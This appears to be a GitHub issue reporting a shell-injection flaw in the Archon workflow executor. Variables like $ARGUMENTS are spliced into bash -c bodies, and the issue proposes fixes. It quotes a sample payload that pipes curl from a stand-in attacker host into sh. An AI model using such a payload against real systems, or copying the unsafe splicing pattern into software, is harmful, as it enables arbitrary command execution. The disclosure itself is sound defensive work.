You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
What broke: Every variable substitution in a bash: node — $ARGUMENTS, $USER_MESSAGE, $nodeId.output, etc. — is spliced into the bash body literally before bash -c <body> runs. Any shell-meaningful character in the value (backtick, $, \, ", newline) becomes part of the shell program rather than a value passed to it. Workflows using these substitutions in bash: nodes crash on benign content (markdown code-blocks, single-quoted numbers from upstream nodes) and, worse, are wide open to shell-injection from any adapter delivering partly-untrusted text.
When it started: as far back as git blame on executor-shared.ts shows; not a regression, an original-design footgun.
Severity:major — security-relevant for any adapter where the user message isn't human-curated (GitHub comments, email, webhooks). Hard blocker for any custom bash:-node workflow.
Observe the run fail at the parse node before echo is reached.
Expected vs Actual
Expected:$ARGUMENTS is delivered to the bash node as a value, available via "$ARGUMENTS" (or $1 etc.), regardless of the characters in the user message.
Actual: The user message is spliced into the bash source and re-parsed by the shell. Backticks, $(), \, etc. inside the message are interpreted as shell syntax. Benign markdown breaks the parse; malicious payloads execute.
User Flow
User / Adapter Orchestrator Workflow Executor bash -c
────────────── ──────────── ───────────────── ───────
sends message ─────────▶ stores as user_message
(may originate dispatches workflow ────▶ substitutes $ARGUMENTS
from email, LITERALLY into bash:
GitHub issue body, body string
webhook, etc.) ───────▶ [X] re-parses
user content
as shell code
→ backtick EOF
or arbitrary
command exec
Environment
Platform: any (reproduces on Web/CLI; same code path for all adapters)
Database: any (SQLite verified; PostgreSQL identical — substitution is dialect-independent)
Running in worktree? No (orthogonal — bug is in the executor, not isolation)
OS: any (verified macOS host, linux container)
Logs
Failure of the form (taken from a real custom-workflow run):
{
"error": "DAG workflow 'ztech-marimo-edit' completed with failures: 'parse-args':
Bash node 'parse-args' failed [exit 2]:
bash: -c: line 59: unexpected EOF while looking for matching `"
}
The user message that triggered this is ~3.5 KB, two ```python fenced blocks, ~10 inline backticks — orchestrator-synthesized from a short prose user prompt. Crash is deterministic for the same input.
Security considerations
This is not only a robustness bug. Any adapter where the user message originates from an untrusted or partially-trusted source (e.g. GitHub issue/comment bodies, Slack DMs, email subjects/bodies, webhook payloads) becomes a command-injection vector for any workflow whose bash: nodes use $ARGUMENTS. A crafted payload of the form:
hello `curl https://attacker.example/x | sh` world
is spliced verbatim into the shell program. The currently-reported failure mode (unexpected EOF) is the benign outcome — bash parses, crashes, executes nothing. A balanced payload parses cleanly and runs. This applies equally to inline bash: bodies and to file-script invocations like bash script.sh "$ARGUMENTS" (the splicing happens in the outer bash -c line, before the script file is read).
Built-in workflows in .archon/workflows/defaults/ happen not to use $ARGUMENTS in bash: nodes (the variable is only threaded into AI nodes there, where it is delivered as a JSON string field — no shell on the path). So no shipped Archon workflow is exploitable today. But any user-authored or AI-generated custom workflow using the natural-looking pattern is. There is no warning in the docs.
Impact
Affected workflows/commands: any bash: node that references $ARGUMENTS or $USER_MESSAGE. Zero in defaults/ ship with this pattern; arbitrary in user/custom workflows.
Reproduction rate: Always (deterministic for any user_message containing an unbalanced backtick / $() / etc.).
Workaround available? Avoid $ARGUMENTS in bash: nodes; route the variable through a prompt: node instead. Or sanitize the user message upstream. Neither is documented; both are awkward.
Data loss risk? No (workflow fails before any node runs). Possible side-effects under attack (arbitrary commands), but no data-corruption from the bug itself.
Scope
Package(s) likely involved: workflows
Module: workflows:executor-shared (packages/workflows/src/executor-shared.ts:387-396, the substituteWorkflowVariables function), and the bash-node spawn site that consumes its output.
Proposed fixes
Two viable directions; either resolves the bug for all existing and future workflows transparently:
(a) Env-var pass-through (recommended). Stop substituting these variables into the bash source. Instead, set ARGUMENTS, USER_MESSAGE, and the per-node outputs as environment variables on the spawned bash process; let bash do its normal "$ARGUMENTS" / "$NODE_PARSE_OUTPUT" expansion at runtime. YAMLs continue to read bash: bash script.sh "$ARGUMENTS" and Just Work; scripts still receive $1 exactly as before. Implementation: in the bash-node spawn path, skip those keys in the substitution loop and merge them into the child's env. Naming convention for node-outputs ($NODE_<id>_OUTPUT or similar) needs a small bikeshed; the underlying mechanism is identical for both classes of variable.
(b) Shell-quote-on-substitute. Keep literal substitution but wrap the values in '…' with proper single-quote escaping before splicing. Less surprising for users who currently embed ${VAR}-suffix patterns in their YAMLs, but more brittle — every variable substituted into a bash: body now needs the quoting, and single-quote escaping has its own footguns.
I'd recommend (a): smaller blast radius, no behavioral change for compliant YAMLs, and the env-var hand-off matches how Archon already passes other context ($ARTIFACTS_DIR etc. are plain string values that authors expect to read with "$VAR" in bash). It also resolves #1377 with no separate fix — once values are passed by env rather than spliced, the '4' from that report no longer breaks the parse.
Either fix should also pick up a short paragraph in workflow-yaml-reference.md explaining the contract: variables are exposed as environment variables to bash: nodes; do not concatenate them into bash -c '…' literals. The current reference (workflow-yaml-reference.md:222-223) says only "Full user message string" — no mention of substitution semantics or shell-injection risk.
Out of scope
Whether the orchestrator-AI should be discouraged from synthesizing huge prompts when invoking workflows. The fix needs to be at the executor regardless — even short user messages can contain backticks.
Whether prompt: / command: nodes have the same class of bug. They don't reach a shell, so the same substitution is safe there. Worth a quick audit, separate change.
Summary
bash:node —$ARGUMENTS,$USER_MESSAGE,$nodeId.output, etc. — is spliced into the bash body literally beforebash -c <body>runs. Any shell-meaningful character in the value (backtick,$,\,", newline) becomes part of the shell program rather than a value passed to it. Workflows using these substitutions inbash:nodes crash on benign content (markdown code-blocks, single-quoted numbers from upstream nodes) and, worse, are wide open to shell-injection from any adapter delivering partly-untrusted text.git blameonexecutor-shared.tsshows; not a regression, an original-design footgun.major— security-relevant for any adapter where the user message isn't human-curated (GitHub comments, email, webhooks). Hard blocker for any custombash:-node workflow.$nodeId.outputcarrying single-quoted AI output crashes the samebash -cparse. This issue subsumes it and proposes a fix that resolves both vectors.Steps to Reproduce
Create a workflow with a
bash:node that references$ARGUMENTS:Trigger it with a user message containing a markdown code-block or any unbalanced backtick, e.g.:
Observe the run fail at the
parsenode beforeechois reached.Expected vs Actual
$ARGUMENTSis delivered to the bash node as a value, available via"$ARGUMENTS"(or$1etc.), regardless of the characters in the user message.$(),\, etc. inside the message are interpreted as shell syntax. Benign markdown breaks the parse; malicious payloads execute.User Flow
Environment
No(orthogonal — bug is in the executor, not isolation)Logs
Failure of the form (taken from a real custom-workflow run):
The user message that triggered this is ~3.5 KB, two
```pythonfenced blocks, ~10 inline backticks — orchestrator-synthesized from a short prose user prompt. Crash is deterministic for the same input.Security considerations
This is not only a robustness bug. Any adapter where the user message originates from an untrusted or partially-trusted source (e.g. GitHub issue/comment bodies, Slack DMs, email subjects/bodies, webhook payloads) becomes a command-injection vector for any workflow whose
bash:nodes use$ARGUMENTS. A crafted payload of the form:is spliced verbatim into the shell program. The currently-reported failure mode (
unexpected EOF) is the benign outcome — bash parses, crashes, executes nothing. A balanced payload parses cleanly and runs. This applies equally to inlinebash:bodies and to file-script invocations likebash script.sh "$ARGUMENTS"(the splicing happens in the outerbash -cline, before the script file is read).Built-in workflows in
.archon/workflows/defaults/happen not to use$ARGUMENTSinbash:nodes (the variable is only threaded into AI nodes there, where it is delivered as a JSON string field — no shell on the path). So no shipped Archon workflow is exploitable today. But any user-authored or AI-generated custom workflow using the natural-looking pattern is. There is no warning in the docs.Impact
bash:node that references$ARGUMENTSor$USER_MESSAGE. Zero indefaults/ship with this pattern; arbitrary in user/custom workflows.$()/ etc.).$ARGUMENTSinbash:nodes; route the variable through aprompt:node instead. Or sanitize the user message upstream. Neither is documented; both are awkward.Scope
workflowsworkflows:executor-shared(packages/workflows/src/executor-shared.ts:387-396, thesubstituteWorkflowVariablesfunction), and the bash-node spawn site that consumes its output.Proposed fixes
Two viable directions; either resolves the bug for all existing and future workflows transparently:
(a) Env-var pass-through (recommended). Stop substituting these variables into the bash source. Instead, set
ARGUMENTS,USER_MESSAGE, and the per-node outputs as environment variables on the spawned bash process; let bash do its normal"$ARGUMENTS"/"$NODE_PARSE_OUTPUT"expansion at runtime. YAMLs continue to readbash: bash script.sh "$ARGUMENTS"and Just Work; scripts still receive$1exactly as before. Implementation: in the bash-node spawn path, skip those keys in the substitution loop and merge them into the child's env. Naming convention for node-outputs ($NODE_<id>_OUTPUTor similar) needs a small bikeshed; the underlying mechanism is identical for both classes of variable.(b) Shell-quote-on-substitute. Keep literal substitution but wrap the values in
'…'with proper single-quote escaping before splicing. Less surprising for users who currently embed${VAR}-suffixpatterns in their YAMLs, but more brittle — every variable substituted into abash:body now needs the quoting, and single-quote escaping has its own footguns.I'd recommend (a): smaller blast radius, no behavioral change for compliant YAMLs, and the env-var hand-off matches how Archon already passes other context (
$ARTIFACTS_DIRetc. are plain string values that authors expect to read with"$VAR"in bash). It also resolves #1377 with no separate fix — once values are passed by env rather than spliced, the'4'from that report no longer breaks the parse.Either fix should also pick up a short paragraph in
workflow-yaml-reference.mdexplaining the contract: variables are exposed as environment variables tobash:nodes; do not concatenate them intobash -c '…'literals. The current reference (workflow-yaml-reference.md:222-223) says only "Full user message string" — no mention of substitution semantics or shell-injection risk.Out of scope
prompt:/command:nodes have the same class of bug. They don't reach a shell, so the same substitution is safe there. Worth a quick audit, separate change.